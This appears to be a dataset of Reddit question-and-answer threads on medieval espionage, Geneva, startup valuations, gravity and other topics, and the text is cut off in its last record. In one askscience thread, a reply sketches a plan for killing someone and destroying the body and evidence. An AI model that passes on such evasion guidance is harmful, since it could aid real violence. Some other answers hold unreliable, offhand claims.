{"q_id": "8i5wjj", "title": "In the series Game of Thrones, the character Varys is shown as having spies all across the country feeding him information. How common was this in medieval Europe? How would one aquire a vast network of spies?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8i5wjj/in_the_series_game_of_thrones_the_character_varys/", "answers": {"a_id": ["dyphirj", "dypk3ig"], "score": [260, 885], "text": ["While we wait for a lengthy and appropriately in-depth response to crop up, I'll just point you to [this post](_URL_0_), where /u/SunAgainstGold has posted to a link to an interesting writeup about medieval spying in the Islamic world.\n\nGreat question. I'll eagerly await any answers.", "From payment records in the (very) late Middle Ages, when we have them, it seems that a lot of the hiring of spies occurred on an ad hoc basis. When cities and nobles in the Low Countries went to war amongst themselves in the 15th and 16th centuries, for example, it was not uncommon to hire one person or a small group to stake out a particular location for a few days and watch for enemy soldier moving through there. In 1511, for example, a small posse of spies from Haarlem avoided detection on the roads by taking a sled across frozen Lake Haarlem to a watch point on the border with Utrecht. This was a one-time payment. During the Hundred Years' War, too, the English government would hire fishermen to watch for French sea movement.\n\nHowever, city records also reflect the existence of so-called \"secret friends\"--longer-term relationships with a lookout, or perhaps a bureaucrat in another city. That is, they reflect *payments to* these \"secret friends.\" Unfortunately, we don't hear much about how they started spying or what happened to them afterwards--only the occasional tantalizing hint like the payment rendered to the *widow* of Hendrik Faes (also in 1511).\n\nAs far as more widespread networks go, though, the two most flexible and popular ways to obtain information were through ambassadors and messengers. Ambassadors made great spies first of all because of their freedom to travel, and second because by the very nature of their position they had access to people of at least some power. It's important to remember that in the days before news in the modern sense (a MASSIVE rumor mill, to be sure, but not journalism like today), \"espionage\" could mean gathering information simply about *what had happened*. The example I love is the English accusing Scotland of spying simply for knowing that the 1381 Peasants' Revolt had happened. (...)\n\nMessengers also had freedom to travel without suspicion and were a readily organized group. One aspect of their utility came in their carrying of *letters*. They could convey the information written down, but also, they were the ones who knew the *oral* component of messages--medieval letters were often mostly placeholders for the real message. But also, due to the freedom of movement, they might be instructed to peek into dark corners and bring back observations of what they saw. In general, wartime courier-spies were those who had the job during peacetime; they were approached and paid more when fighting threatened.\n\nIt wasn't unusual in medieval Europe for people to carry out long-distance, long-term friendships entirely by letter and messenger--never actually meeting in person. It stands to reason that long-distance spies would be recruited the same way--have a trusted messenger (ambassador, courier, merchant) and make sure they had ample money to buy some new loyalty.\n\nOh, yes--a not uncommon note in sources is recompense for a courier-spy who had been robbed along the way.\n\nETA: I offer some sources on espionage in the medieval world in [this earlier thread](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/6hyq6y/what_was_spying_like_in_midmedieval_europe_say"], ["https://www.reddit.com/r/AskHistorians/comments/690cgc/how_did_medieval_kings_gauge_the_military/dh3fr94/"]]}
{"q_id": "6a8aoc", "title": "why is geneva the main place for peace talks?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6a8aoc/eli5_why_is_geneva_the_main_place_for_peace_talks/", "answers": {"a_id": ["dhch4cd", "dhchedq", "dhchs6e"], "score": [25, 3, 4], "text": ["The United Nations offices in Geneva are the second largest and are headquarters to a lot of the UN bodies that play parts in international negotiations and discussion. Furthermore, being in Switzerland, famed for its neutrality, there's this perceived notion that Geneva is even ground for international dispute resolution. There's also a historical basis for this, going back to Geneva as the seat of the UN's precursor, the League of Nations.\n\nAlso, I imagine they have some pretty sweet conference rooms.", "Switzerland has a long-standing policy of neutrality - it doesn't take sides or get involved in conflicts of other countries. (It does though maintain an army for its own defence.) They haven't been involved in a war for over 200 years. That makes it a good place to hold international talks and make treaties, where it's in a territory that doesn't favour either side.", "Here is at least part of the answer: a) because it is in neutral territory\nb) switzerland in general and the french part in particulair has quite a humanitarian tradition (red cross and many non-profit prganisations)\nc) Basically everyone everywhere speaks english, placing it somewhere where people speak french covers a second very far spread language\nd) historically it's pretty much in the centre of europe and between the old european empires which probably needed a place to have peace talks the most\n\nBut yeah...mostly it's the \u201cneutral\u201c part. Which is also why i assume a lot of EU related things are in belgium (brussels). There aren't that many neutral countries to choose from and switzerland is just one of those with the longest neutrality traditions (aside from smaller city states). Why exactly they chose geneva over other big swiss cities idk. It pretty much IS the inofficial capital of the french part of switzerland but there might be more to it than just the language.  \n\nP.S. edit : Also to elaborate on the \u201cfrench\u201c part a little bit. Whilst it is a far-spread language, it is such even more on a government level. A lot of nations where people don't commonly speak french (or only part of the population) have kept it as an offical government language. (A lot of french ex-colonies). Which means that emmissaries (high ranking government officials) of many countries are proficient in this language. So with english and french covered (and probably a high percentage of german and italian speaking people aswell) a lot of emissairies from different countries can navigate through the city  & interact with the local populace using a language they already know.      "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "fmnze", "title": "Help me kill someone?", "selftext": "Hello /askscience/,\nThis is my first ever post on reddit, so please be nice (if this isn't the area for it - i'm really sorry)\n\nI'm currently finishing up my degree in Forensic Science, but we've been requested to do a final year project. Anyone with a creative brain, would be able to go wild on a topic so open and broad as mine is, however i'm really struggling to find something which interests me (as we do have to carry it out)\n\nIdeas i've had (which have been turned down for reasons explained):\n\n- The effect on DNA profiling before/after a bone marrow transplant (this was turned down due to the UK's NHS Ethics form - according to my personal tutor, you have to fill out a very large booklet - and even after filling it out, they can still turn you down - we don't really have that time available to us)\n\n- Is it possible to distinguish between male/female fingerprints, through using techniques such as AFIS (I turned this down, it just doesn't interest me all that much - plus it's not very original)\n\n- The effect substances have on tattooed skin - can they burnt off.. e.g. hydrochloric acid VERSUS flames VERSUS decomposition etc etc. (This idea is currently at the top of my idea list, but someone did it in a previous year - so i'd like to either change this slightly, or go for some other great idea)\n\nNow, i'm very sure there are a few of you out there, who have thought;\n\"I'm gonna kill someone by doing this....\" - Tell me and let me try make a project out of it!\n\nTLDR;\nTried creating a witty TLDR, gave up, please just read it?\n\n\nEdit: Just to say also, that the topic does not have to be 100% original, I am allowed to use an already researched project (ie. it could have been done before) but I have to change it slightly (change the acid used or change the type of insect used etc.)\n\nEdit2: In regards to my first bullet point - it has to be a project which can be reproduced internally - without the data being collected from national services, such as the NHS. Taking blood from people (even with their consent) is very much a grey area (for students) - if I was a Professor trying to do this project, it would be much different.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/fmnze/help_me_kill_someone/", "answers": {"a_id": ["c1h1nfq", "c1h1o9r", "c1h1vo9", "c1h1wlm", "c1h38ke"], "score": [3, 8, 7, 3, 2], "text": ["What about blood transfusions and there effect on blood testing. IE lets say I was in an accident, got 4 pints of new blood. Then the next day (I heal fast) I murder someone leaving blood evidence.", "Deconvolution of someone talking into a kazoo.", "You could tattoo the skin of a pig's foot to try to analyze the decomposition of a tattoo.\n\nWhat about creating a chemical/structural description of various brands of plastic bags?  I am always particular about the types of plastic bags I use when disposing of certain precious items, and perhaps my favorite choices are not as ubiguitous as I might think.\n\nIf I was going to kill someone, I'd probably find a way to bring them alone to a remote location in a way that didn't show I had invited them, I'd try to get them to stand in a specific place with limited sightlines, shoot them with a silenced .45 handgun, wrap them in a plastic tarp and bungees, spray down the area with a bleach solution, then bring the person to a local farm owned by an elderly couple that has a wood-burning furnace.  I'd dispose of my clothes, the body, and the tarp in the furnace.  Research has shown that nothing is left behind, including the brass grommets on the tarp.\n\nHow would you catch me? ", "I've always been curious about the effects of the rate of water flow over bodies. Ie, how do bodies decompose in swift rivers versus slow rivers or lakes?\n\nIt might be interesting to study how bodies decompose in bodies of water depending on the time of year. I imagine they would decompose faster when fish are spawning.\n\nOr maybe research the difficulty in recovering bodies from the water. Like, how is evidence destroyed by hoisting a body from the water into a boat? Are there better ways to do it?\n\nBasically I want you to tell me how to dump a body into a river.", "What clues can be offered by hormone levels found in a corpse?  Could you reliably differentiate between suicide and homicide by looking at dopamine and adrenaline?  Could you differentiate between violent and nonviolent death by looking at testosterone?  Could you estimate how long the victim was aware of his danger?  Could you estimate the level of physical exertion just before death?\n\nEdit:  Similarly, what can you learn from the substance of a fingerprint, rather than its shape?  Are there measurable hormones in the oil that could indicate gender, or calm/excitement?  Could you determine skin color from cells left behind in it?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3nex4h", "title": "why can restaurants charge me for adding things (i.e., add sour cream), but won't lower the subtotal should i ask for things off?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nex4h/eli5_why_can_restaurants_charge_me_for_adding/", "answers": {"a_id": ["cvnf223", "cvnfy3i"], "score": [2, 3], "text": ["they can because its legal to charge for things, they won't because they don't have to, and it would make them lose money", "It's easier and faster to just ask the kitchen/cook for a #7.  He's made it 1000 times and it's easy to just make it the same each time.\n\nWhen you ask for #7 but with changes, it's no longer the same thing he's made 1000 times.  It's not any more or less expensive in terms of food, but it costs more time because it's now a 'custom' order, and custom anything is usually more expensive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5je8vm", "title": "billion-dollar valuations for tech companies that have never turned a profit (!?)", "selftext": "I simply don't understand the sky-high valuations for companies that have not only *never* turned a profit, but who don't seem to even have a model in place to **ever** be profitable. Some examples:\n\n- **Uber**: [valued](_URL_3_) at $28B - $62B despite reportedly being [massively unprofitable](_URL_0_)\n\n- **DraftKings**: [Valued](_URL_4_) around $1B despite being [very unprofitable](_URL_2_)\n\n- **ClassPass**: [Valued](_URL_1_) around $500M despite reportedly being quite unprofitable with some predicting an imminent demise\n\n- List goes on and on: Twitter, Snapchat, Box, etc\n\nI used to work for a startup, so I LIVED in that world...and I still struggle to explain it to other people. My default answer is usually:\n*\"Well, they're CURRENTLY losing a lot of money, but investors are gambling on the idea that one day they'll figure out how to turn a profit. Or failing that, they may prove to be an attractive acquisition target for a company who DOES have the money-making thing figured out, e.g. maybe Facebook or a profitable brick  &  mortar business, who might see them as a valuable new sales channel for their existing business.\"*\nBut even that answer seems unsatisfying to me. Maybe someone with a better handle can ELI5.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5je8vm/eli5_billiondollar_valuations_for_tech_companies/", "answers": {"a_id": ["dbffffw", "dbffpf6", "dbfgrys", "dbfh811", "dbfitx5", "dbfk9qh", "dbfkypr", "dbflzb0", "dbfpe0i", "dbfpxaj", "dbfqkhf", "dbfrw8h", "dbfzowp", "dbg00a3"], "score": [7, 2, 121, 2, 9, 35, 2, 4, 2, 3, 3, 18, 2, 6], "text": [" > investors are gambling on the idea that one day they'll figure out how to turn a profit.\n\nYou described it pretty well. The other way I thought of it was like scholarships for universities. They're giving you money now on the assumption that you will one day make a lot of money and in turn make them money.", "Valuations seem more hype/ tabloid news than actual measures of potential/ real news. Far before they become profitable (if ever, or even have a model of profitability), \"they\" have to sell the idea to would-be users and investors. \n\nThe level of speculation played at feels similar to the film biz.", "The idea is that they're getting something with the potential to be the next Google ($550 bil) or Facebook ($344 bil) at $1 billion or $25 billion. The price is sort of like a low chance bet, that has a massive potential payoff, and even if it doesn't payoff, you've got a decent shot of making a small profit even in cases where your investment is acquired.  \n\nLook at long term bond rates, that's the hurdle for many wealthy investors (either as the marginal investment or close to their borrowing cost).  If you knew you'd remain safely rich if you were wrong, how much 2% interest would you be willing to miss for a slim chance at owning 5% of the next $100 billion company?   \n\nUber is entirely a bet that self driving cars will allow them to reshape how people buy transportation (rather than owning a \"car\" you'll own 0.1% of a 100 car fleet that will swing by you when you need to use one).  \n\nDraftKings is a bet that using the internet and the fantasy sports exception, allows someone to become the equivalent of the biggest bookie on the internet.  \n\nClassPass has a chance to reshape how people buy gym memberships (and they'll get a cut from each of them).  ", "One perspective to take is to compare the cost of acquiring a customer with the lifetime value of the customer. Uber for instance offers a ton of promotions to new users (e.g. $20 worth of free rides). Accounting for the millions of users Uber has, that's some serious investment in the platform. On the other hand, Uber figures that the lifetime value (i.e. how much they'll earn from the customer going forward) may be a lot more, for example $500, but in reality a lot higher. So, yes, these companies are burning through a lot of money now, but in a number of cases, they know with some confidence that these investments will pay off. For example, if Uber stops spending on marketing and promotions today, they could well be very profitable. The caveat is that, other companies, like Snapchat and Twitter are still figuring out how to monetize, so a lot of their value is based purely on potential.", "So, what is supposed to go into a stock valuation is the following:\n\n1) Assets (meaning real estate, equipment, stocks and money owned by the company)\n\n2) Sales history\n\n3) IPs (meaning patents, copyrights, etc.)\n\n4) Goodwill (meaning marketing, relationships with customers, vendors, VARs, etc.)\n\n5) Non-tangible assets (meaning customer lists, etc.)\n\n6) Expenses\n\n7) Pending lawsuits\n\n8) Debt\n\nSo, if we look at a company like Uber, we can see that they have a lot of the sort of non-physical items that can be very valuable. Even if you only think a verified sales contact is worth $0.05, they must have 100's of thousands of them (probably millions of them worldwide). And usually, to a company looking to acquire that sort of asset, they put much more value on them (I have heard of some customer lists being valued at $3.00 per contact).\n\nBare in mind, the idea behind valuation works for a couple of purposes:\n\n1) Judging the value of an individual share as based on the valuation divided by the number of available shares \n\n2) Credit rating, the ability to borrow money is based largely on a ratio of debt to valuation.\n\n3) Buy out strategies. Companies looking to buy Uber need to look at how many shares are in circulation (as opposed to those owned by the Board), Valuation and Debt.\n\nSo, that is what is useful about valuation..\n\nThe problem is, it can be gamed. If someone wants to commit fraud, they can arbitrarily inflate (or deflate depending on what they are trying to pull off) the value of non-physical assets. Want to buy out Uber? Value their contacts, IPs and Goodwill at lower values and get other investors to believe the new valuation.", "Many of those companies are losing money today because they are investing in scaling their businesses, lobbying for changes in laws to allow them to operate legally. Once those expenses are tapered off, then the revenue they take in will become profitable.\n\nRight now, much of Uber's loses are from offering free rides to new customers and paying signing bonuses to new drivers. Additionally, they are fighting battles with city governments legislatively and in court to be allowed to operate legally.\n\nSimilarly, DraftKings is spending a TON of money advertising all over the place, offering new users credits to their accounts, and spending lots of money on lawyers/lobbying to try and become legal.\n\nIn both cases, these are start-up costs and not long term operating costs... once each had a user base installed, and has won the approvals to operate, the revenues will go to the bottom line. And because of the nature of their businesses, they can scale with minimal marginal costs compared to other businesses/industries.\n\nOther companies may be drawing in revenue, just not to the extreme levels VCs and others wanted to see (Twitter), or have freemium models (Box) that do generate revenue and a path toward prifitability. \n\nSome are simply cool gimmicks/features and not sustainable businesses, but are still acquisition targets to be integrated into a platform (SnapChat) or will eventually find some sort of revenue model.\n\n", "Economies of Scale.\n\nTaking Uber for an example, yes they are currently highly valued and very unprofitable. HOWEVER, as more and more people get used to Uber, profitability will come. In fact, [the company is now realizing profitability in many of its markets as more people sign up.](_URL_0_)\n\nUber needed a lot of cash to get the App and various infrastructure items in place, but now that that's in, that cost will be decreasing, while revenue will simultaneously be increasing. As such, Uber stands poised to rake in profits by the boatload. ", "In order to establish a market, a lot of companies will funnel what would otherwise be profits into growth.  Amazon, a undoubtedly healthy company, didn't turn a profit until its 21st(!) year business.  They just kept spending to grow, and now are a retail powerhouse.\n\nAlso, some of this potential is in the form of synergy.  Keyhole was a relatively obscure company that make satellite imaging software.  Google bought them in 2004, and their technology was used in Google Maps and Google Earth.  Their potential was not realized until married with Google's ad delivery system.", "One thing I don't see mentioned here is that the valuation isn't necessarily what the company is worth. In many cases, usually early-stage companies and unicorns, the pre-money valuation is just whatever number it has to be so their return is some multiple of their investment.\n\nSay I'm a VC thinking about investing in Strtup (because they're always missing letters) and I think they will exit for $100M in 5 years. My fund shoots for a 10x multiple, so that means the post-money valuation for this round has to be $10M. I want to own 20% (to get $20M of that exit), so that means I have to invest $2M, and the pre-money valuation has to be $8M.\n\n Does that mean a potential acquirer would pay $8M right now to acquire it? Probably not. They don't have any revenue or assets I can use to quantify a valuation, so I don't have any hard numbers to base it on, or they have numbers but the numbers are horribly misleading. All I can do is pick an arbitrary number based on how much money I think I can make.", "You have a decent handle on it. I wouldn't say investors are gambling, because that makes it seem like they aren't doing any analysis, due diligence, or any sort of planning. Investors are taking on a certain amount of risk with their investment, but they aren't doing so without a lot of forethought.\n\nFirst of all, it is common practice for companies to forego profitability in favor of growing extremely fast. There are several reasons for this, such as economies of scale (things cost less the bigger you are), and the fact that sector leaders are valued higher than their competitors. However, companies are ultimately valued based on their risk-weighted ability to turn a profit. For billion dollar companies, investors believe there is a plan to, at some predefined point in time or at some key milestone, become rapidly profitable. \n\nAlso, successful companies almost always want to IPO. an IPO will value the company more than a strategic investor, and way more than a financial investor (PE fund).", "Say you own a restaurant. It's *super* popular. There's a line around the block literally every day. Because of this your restaurant makes more money than it takes to run, so what's leftover is considered profit.\n\nBut your profit is relatively low because it's only one restaurant, and one restaurant can only serve so many customers. Say you're making $1,000 per day in profit, which would be amazing for a small restaurant.\n\nWhat you really want is to expand and make more restaurants. You're so popular that you know if you could open up new restaurants in places like NYC, SF, LA, etc. they'd be huge hits too. But the problem is that opening a new restaurant in those expensive areas costs $1,000,000. So even if you save all of your profit every day, it's going to be 1,000 days until you can open up your first new restaurant.\n\nInstead of waiting, you find investors. Investors are willing to give you the $1,000,000 you need to open each restaurant right now so you don't have to wait. In return they expect that you'll pay them back with interest (which is called debt investing, not going to touch equity investing at this point because it's the debt that causes massive losses on paper which is what you brought up). Investors are willing to give you this much money because they've looked at your business and agree that you'll be successful and able to pay them back. And it sounds good to you because you're confident that the amount of money you'll make will be more than enough to pay them back with even more profit for yourself.\n\nSo the investors give you the $3,000,000 you need to open your new restaurants in major cities. The restaurants take a while to get going so they don't open the first year, they're still being remodeled and hiring staff and stuff. So the first year your only revenue came from the one restaurant you started with, which would have given you $365,000 in profit. But you borrowed $3,000,000 in debt investment, so your books the first year show a loss of $2,635,000. \n\nSo your restaurant is apparently massively unprofitable, yet still is worth a lot of money! This is what happens when companies are in a growth phase. Instead of keeping the extra money they make, they invest it back in the company because they want the company to grow. Because of this, companies that are aggressively growing will show massive losses instead of profit. It's not that the company was supposed to be profitable and they messed up, it's part of the plan.", "I read an interesting article that argues that every new company has two growth models to choose from: Ben  &  Jerry's or Amazon. In other words, low and slow or high and fast. The model you choose is based on your competition. You either have to compete on a product and brand recognition level (Ben  &  Jerry's) or through a massive land grab that will secure your place at the top (Amazon.) These multi billion dollar tech valuations are all companies who are building brand new markets and they are rushing as fast as possible to grab as much market share as they possibly can, hoping profit will come. They spare no expense in order to become the biggest, with the idea that being the biggest will inevitably become the most profitable. That's why they can't turn a profit now. Amazon didn't turn a profit for 26 quarters, but they were still taking in billions and billions in revenue, but were losing money because they were reinvesting in themselves or spending hand over fist to save time. Following a Ben  &  Jerry's growth model of profitability and growth in a brand new market will leave them in the dust, because someone else will step in and grab market share at the expense of profit. They're playing the long game. ", "Market share and potential revenue share play a part in valuation.\n\nSo does data. Uber gets data about where people go from and to which has value to someone like google or facebook which can turn around and sell that to advertisers.\n", "Company makes 100 million in revenue in a year. Their total operating costs are 80 million. In order to remain viable and retain traction, the company knows it needs to expand rapidly to fend off competitors, so it sources additional financing to spend another 50 million on expanding.\n\nOn the books, the company lost 30 million this year.\n\nIn reality they made 20million profit in existing markets and plugged that plus another 30 into expanding their business.\n\nThe next year they make 160 million of which 120 million is operating costs. So they've covered last year's defecit plus 10 mill. So this time they spend another 60 million expanding further.\n\nNow they've lost 30 million in year 1, and a further 20. Million in year 2, but in reality they're 40 million in debt with additional growth financed for year 3.\n\nIn year 3 they consolidate their market share as they find its saturated and further expansion isn't viable. They make 220 million in profit, and spend 170 million on costs. They've made 50 million, paying off the debt they owe, being 10 million in profit. \n\nSounds like they've barely scraped through when, realistically, they've doubled down on repeated investments and ended up with a company making 60 million in profit a year, when they previously made 20 million.\n\nObviously these numbers are a made-up example, but this is the basic premise many of these rapidly expanding companies work on. Amazon did the same for almost 20 years by moving into newer markets to keep expansion investment high; e-readers, net infrastructure, groceries, TV, 3rd party warehousing. Huge list of shit that came from AN ONLINE BOOKSHOP. Netflix did the same by doubling down on expansion and service provision until they became ubiquitous with streamed TV. Now they slowly bring their price up, start making their own content and 'suddenly' they make money.\n\n*TL:Dr* Companies gain value by spending more than they earn because they're not spending more than they can afford to repay with projected growth from the additional expense. If they actually stopped investing in growth for a year they'd make a sizeable profit but also suffer from a years lack of expansion."]}, "title_urls": [], "selftext_urls": ["http://www.forbes.com/sites/briansolomon/2016/01/12/leaked-ubers-financials-show-huge-growth-even-bigger-losses/#24a2a76f5c99", "http://www.vanityfair.com/news/2016/06/leaked-documents-reveal-classpass-surprising-next-move", "https://www.bostonglobe.com/business/2016/11/01/would-combined-draftkings-and-fanduel-might-too-big-for-regulators/5UBf4rV2iT9lJNAIt6yDtJ/story.html", "https://www.bloomberg.com/news/articles/2016-08-17/an-expert-in-valuation-says-uber-may-have-already-peaked", "http://www.espn.com/chalk/story/_/id/17440674/draftkings-partners-revolution-growth-round-funding"], "answers_urls": [[], [], [], [], [], [], ["http://fortune.com/2016/06/16/uber-profitable-markets/"], [], [], [], [], [], [], []]}
{"q_id": "j155f", "title": "Is it true that scientists don't really know how gravity works? Are there any other unkowns that people generally assume are known to scientists?", "selftext": "I read somewhere that scientists don't really know how gravity works. I didn't know if this was true or not.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/j155f/is_it_true_that_scientists_dont_really_know_how/", "answers": {"a_id": ["c289nde", "c289smx", "c289ti5", "c289vdl", "c28a93p", "c28a95z", "c28acb0", "c28ahnj", "c28ayvq", "c28b2vu", "c28b9sp", "c28bjtp", "c28bnlh"], "score": [116, 4, 84, 28, 94, 4, 18, 168, 13, 3, 2, 5, 2], "text": ["We know how gravity works. There no relevant observations that can't be explained by the general theory of relativity. There are no outstanding predictions of general relativity that haven't been observed in some form.", "I thought we knew how gravity works, but not what causes it? ", "The problem with this question is that \"how\" is a difficult word when you get down to it.  At a certain level, there is no more deeper explanation, there is just \"this is what happens and these are the equations that you can use to model and predict it with great accuracy.\"  That is as close to a \"how\" as you're ever going to get.", "*Physics grad / Layman warning*\n\nMy understanding is that we know *very precisely* how gravity defines interactions between bodies, but there is no observable cause for gravity other than mass/energy. The term *graviton* is thrown around, but it's an *idea*, not a tangible particle. It doesn't need to exist for gravity to exist, but it's useful to discuss since we have parallel particles that define the other fundamental forces. \n\n", "I think where people get confused is that we can't manipulate it. \n\nWe understand the laws of electrodynamics pretty well and we're able to do cool stuff with it, because electrons are easy to manipulate.\n\nWe understand gravity fairly well, (not me, the royal we), but just because we understand it doesn't mean we can conjure matter out of thin air. Gravity is just based on matter(energy) existing and moving through space. We can't screw around with it because we can't create or destroy energy(or space).\n\nMaybe someday.", "As someone who has read a number of crackpot delusional rants about science, I think it's possible that you read either directly from such a crackpot, or indirectly, i.e. read writings by someone who picked up some crackpot ideas because they didn't know any better. Not me personally, but some physicists are occasionally contacted by strange characters who have been working in their basement on some new idea, which turns out to be incorrect for many, many reasons (most of all, these lone desperados working in their basement don't seem to care much for results of experiments already performed or even making their own theory consistent with itself). \n\nSaying that scientists don't understand how gravity works or what is the mechanism of any fundamental force, and then proceeding to cast aside all of physics as rubbish needing replacement by their shaky, inconsistent, and unsupportable new theory, is a classic hallmark of crackpots. For good reason, this tactic appears on mathematical physicist John Baez's now-classic \"[Crackpot Index](_URL_1_)\" -- see number 17 (and 18):\n\n >  17. 10 points for arguing that while a current well-established theory predicts phenomena correctly, it doesn't explain \"why\" they occur, or fails to provide a \"mechanism\".\n\n >  18. 10 points for each favorable comparison of yourself to Einstein, or claim that special or general relativity are fundamentally misguided (without good evidence). \n\nJust as an example, years ago I read some of [this guy's](_URL_0_) writings. You can see even in his tagline, he said, \"A science that doesn't explain force and motion is not science, but rather religion, and a religion, acting in the name of science, that can't explain why the sun comes up every day is a joke.\"\n\nedit: clarified one sentence", "The theory of General Relativity and the Einstein Field Equations which govern interactions between *macroscopic* particles are theoretically well understood.\n\nHowever, the Einstein Field Equations (EFE) are notoriously difficult to solve, and so for certain systems such as a single black hole one can make precise predictions. Solving more complex systems such as orbiting black holes is difficult and computational methods are being developed and refined. However, there is nothing in the data that suggests that General Relativity would not give a correct answer should you solve them.\n\nThere is a problem in trying to determine how quantum objects such as electrons interact gravitationally. For example, the gravitational interaction between two individual electrons cannot be handled by the theory of General Relativity as it stands as it only handles classical objects such as planets and galaxies. One can determine how a quantum particle will react to the gravitational field of a large classical object, which in the case of a black hole predicts Hawking radiation.\n\nThis problem of the gravitational interaction between two things such as electrons is currently a sort of philosophical one, as this interaction is so extremely weak given the small masses that current experiments cannot reach high enough energies to see such effects.\n\nHowever, all objects in the universe such as stars and galaxies are ultimately comprised of electrons and other quantum objects, so strictly speaking there is no ultimate theory that describes how gravitational interactions between large objects would emerge from the individual quantum interactions.\n\nFurthermore, one cannot \"quantize\" the gravitational field in terms of gravitons in the manner that one quantizes the electromagnetic field in terms of photons. These purely mathematical problems can apparently be solved by moving to a deeper mathematical framework called string theory, but so far no one has constructed a string theory that properly replicates all the other strong, weak, and electromagnetic interactions between known particles. Even if one did, the obvious gravitational predictions could not be tested by currently known experimental means.", "Everything is an unknown a few whys deep.", "All of these posts so far seem to be addressing the first part of your question.  As for the second part (other unknowns)...\n\nIn psychiatry, there are many effective treatments for psychiatric illnesses, particularly mood disorders (depression and bipolar disorder).  However, nobody knows why these medications work.  Many of these medications are SSRIs, which increase the level of serotonin in the brain.  However, people with depression have normal levels of serotonin, so depression is not caused by low levels of serotonin.  In addition, it usually takes a few weeks to see any effect of these drugs, but the increase in serotonin happens within hours of starting the medication.\n\nFrom these observations, it is hypothesized that the effect of the medications has something to do with the downstream effects of increasing the level of serotonin, such as down-regulating serotonin receptors.  But there's no data for this, it's just speculation.\n\nOne of the reasons why genetic research of psychiatric illnesses is so important is because if a gene for a disorder is identified, it is then possible to figure out what the gene does, and then have a better idea of what is going on in the brain in a person with a psychiatric illness.  Right now, we really don't know.", "There are some solid explinations of gravity, and it is an active area of research.  I'm especially fond of the research of Bernard Haisch.  Mass and gravity arise from vacuum interactions.\n\nThe easiest way I can describe it is that all empty space contains energy, and a small fraction of that energy can be tied up in matter.  The difference in energy scale is large, like a leaf (matter) on the ocean (vacuum).\n\nIf you were to imagine that leaf as light pinwheel, then any light that does work in spinning (rest mass) that pinwheel will give up some energy, red-shifting it slightly.  In the presence of that pinwheel, the blue light from every other direction looks red in the direction of pinwheel - and an attraction arises from a vacuum pressure which is slightly dampened in the direction of mass - maybe analogous to the Casimir Force.\n_URL_0_\n\nI realize Bernard Haisch isn't popular, but I like his work.", "Scientists are empiricists, so the word 'understand' gets tricky. We can explain a lot of things really well, so in that sense we understand them. However, a lot of times scientists just get philosophical and basically say, \"Can we really understand anything the way you mean it?\"\n\nThis means that they don't understand it, but they don't really want to say that.", "From my perspective, I find it interesting how many people think that we understand how the brain works. We don't even have a deep understanding of the synaptic transmission process between neurons, let alone the large scale concept of what each region of the brain does.\n\nAlso, how is memory stored in the brain? We don't know that either.\n\nOh, and magnets. How do they work? No one knows.", "99% of how the human body works. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["http://www.facebook.com/pages/Peter-K-Bros-The-Real-Skeptic/109968933677", "http://math.ucr.edu/home/baez/crackpot.html"], [], [], [], ["http://www.calphysics.org/mass.html"], [], [], []]}
{"q_id": "96cff5", "title": "why are prunes such a good laxative?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/96cff5/eli5_why_are_prunes_such_a_good_laxative/", "answers": {"a_id": ["e3zgdi0"], "score": [29], "text": ["Sorbitol will do it everytime and prunes have a lot of it.  The fiber alone isn't enough.. but it helps.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Sorbitol"]]}
{"q_id": "4i257j", "title": "what makes a movie age or age badly?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4i257j/eli5_what_makes_a_movie_age_or_age_badly/", "answers": {"a_id": ["d2udibd", "d2udlbi", "d2udnym", "d2ue004", "d2uefb1", "d2ufkfo", "d2uu7qd", "d2uwui2", "d2uymfb"], "score": [2, 31, 3, 5, 4, 5, 2, 2, 2], "text": ["Current pop-culture references, heavy VFX that didn't have a huge budget, writing, technology (phones/computers), etc.", "If a movie uses music or pop culture references that are popular at the time....then it may not age well.  \n\nFor example, in 10 or 20 years, people (young moviegoers) may not know who Miley Cyrus is....so putting a Miley Cyrus joke/refference in a movie might be funny today but not funny then.  \n\nAlso, movies that focus on 'state of the art' technology run the risk of aging poorly....because the technology might be very common or even out of date when future viewers are watching.\n\nI've noticed that some movies and many, many TV shows from the early 90s and before....have aged poorly because the whole plot could have been solved if the characters just had cell phones.    These days, cell phones are so common place that it's almost rare that characters are not able to communicate.   (unless part of the plot is that communications have been disrupted (Walking Dead etc)).    ", "There are two main features that reveal a movie's age (IMO):\n\n1. Technology  \nFor example, if someone pulls out a phone from 10 years ago, it's painfully obvious. Especially when its clear that it's supposed to be an 'up-to-date phone', as opposed to a design choice.\n\n2. References (For lack of a better term)  \nIf a movie makes a reference to an event that happens in the past, it usually makes it harder to relate to and sometimes very confusing if you aren't sure what exactly the movie is referencing.\n\nThe best movies either avoid these, or use them in a way that isn't awkward or obvious. One of my favorite examples is Breaking Bad. There's very little use of any tech or references, and those that do appear will remain relevant for the foreseeable future.", "A lot of it has to do with how steeped in current pop culture and technology it is, and how enduring those things eventually become.\n\nFor example, if a movie from the 90s hinges on a pager battery dying or computer connection being broken because some picked up a phone or the bully stealing all of your hard earned pogs, that is unlikely to resonate into the future.\n\n\n\n\n", "Other people are failing to mention cinematographic style. Look at action movies right now,  could be that in 20 years time the rapid cuts in action films will date then massively. ", "CGI, until the uncanny valley is crossed.  Although amazing at the time it is released, as the movie ages, the gap between it and the current state of CGI increases almost exponentially with 